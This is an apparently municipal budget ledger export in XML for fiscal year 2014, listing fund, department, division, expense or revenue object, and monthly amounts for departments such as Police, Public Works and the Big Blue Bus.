<row _id="11735"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-5878.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5878.0</total></row>
<row _id="11736"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-34919.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34919.0</total></row>
<row _id="11737"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-231483.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-231483.0</total></row>
<row _id="11738"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="11739"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>92884.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>92884.0</total></row>
<row _id="11740"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42830.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42830.0</total></row>
<row _id="11741"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522115.0</object><object_description>UTIL - LIGHT/POWER - PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>423221.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>423221.0</total></row>
<row _id="11742"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522119.0</object><object_description>UTIL-ELEC-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99023.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99023.0</total></row>
<row _id="11743"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58370.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58370.0</total></row>
<row _id="11744"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="11745"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>22055.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22055.0</total></row>
<row _id="11746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533225.0</object><object_description>BLDG/STR MAINT-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205000.0</total></row>
<row _id="11747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533227.0</object><object_description>BLDG/STR MAINT-PARK BLDG</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>192200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>192200.0</total></row>
<row _id="11748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-9527.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>9527</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>1708</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-740.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>740</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11751"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1020.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1020.0</total></row>
<row _id="11752"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>194672.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>4023.64</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>198695.64</total></row>
<row _id="11753"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2392.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>79.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2471.17</total></row>
<row _id="11754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>731.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="11755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
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<row _id="11757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8001.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8001.0</total></row>
<row _id="11758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3504.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3529.0</total></row>
<row _id="11759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4354.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4354.0</total></row>
<row _id="11760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>578670.0</object><object_description>COORDINATED COMMUNITY OUTREACH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>156396.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>156396.0</total></row>
<row _id="11761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>571140.0</object><object_description>S+C HAP EXPANSION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>214044.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>214044.0</total></row>
<row _id="11762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566810.0</object><object_description>TRANS &amp; USE TAX-SMMUSD ALLOCAT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7517842.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>155442.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7673284.0</total></row>
<row _id="11763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-54295.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54295.0</total></row>
<row _id="11764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-34802.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34802.0</total></row>
<row _id="11765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-621174.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-621174.0</total></row>
<row _id="11766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-305863.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-305863.0</total></row>
<row _id="11767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-20457.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20457.0</total></row>
<row _id="11768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-62197.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-62197.0</total></row>
<row _id="11769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-382.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>382.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>579250.0</object><object_description>GEOGRAPHIC INFORMATION SYSTEM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31000.0</total></row>
<row _id="11771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10100.0</total></row>
<row _id="11772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1188.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1188.0</total></row>
<row _id="11773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1506.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1506.0</total></row>
<row _id="11774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403720.0</object><object_description>SERIAL INEBRIATE GRANT ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-26147.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>26147</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577725.0</object><object_description>STEP UP SANCTUARY-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26282.0</total></row>
<row _id="11776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7885.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7885.0</total></row>
<row _id="11777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>119994.0</june><total>119994.0</total></row>
<row _id="11778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405351.0</object><object_description>PRIVATE HAULER ANN. PERMIT FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-26636.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26636.0</total></row>
<row _id="11779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>41177.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>667</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41844.0</total></row>
<row _id="11780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1058.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>4</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1062.0</total></row>
<row _id="11781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209.0</total></row>
<row _id="11782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>544090.0</object><object_description>MEDICAL/FIRST AID SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="11783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2415.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2415.0</total></row>
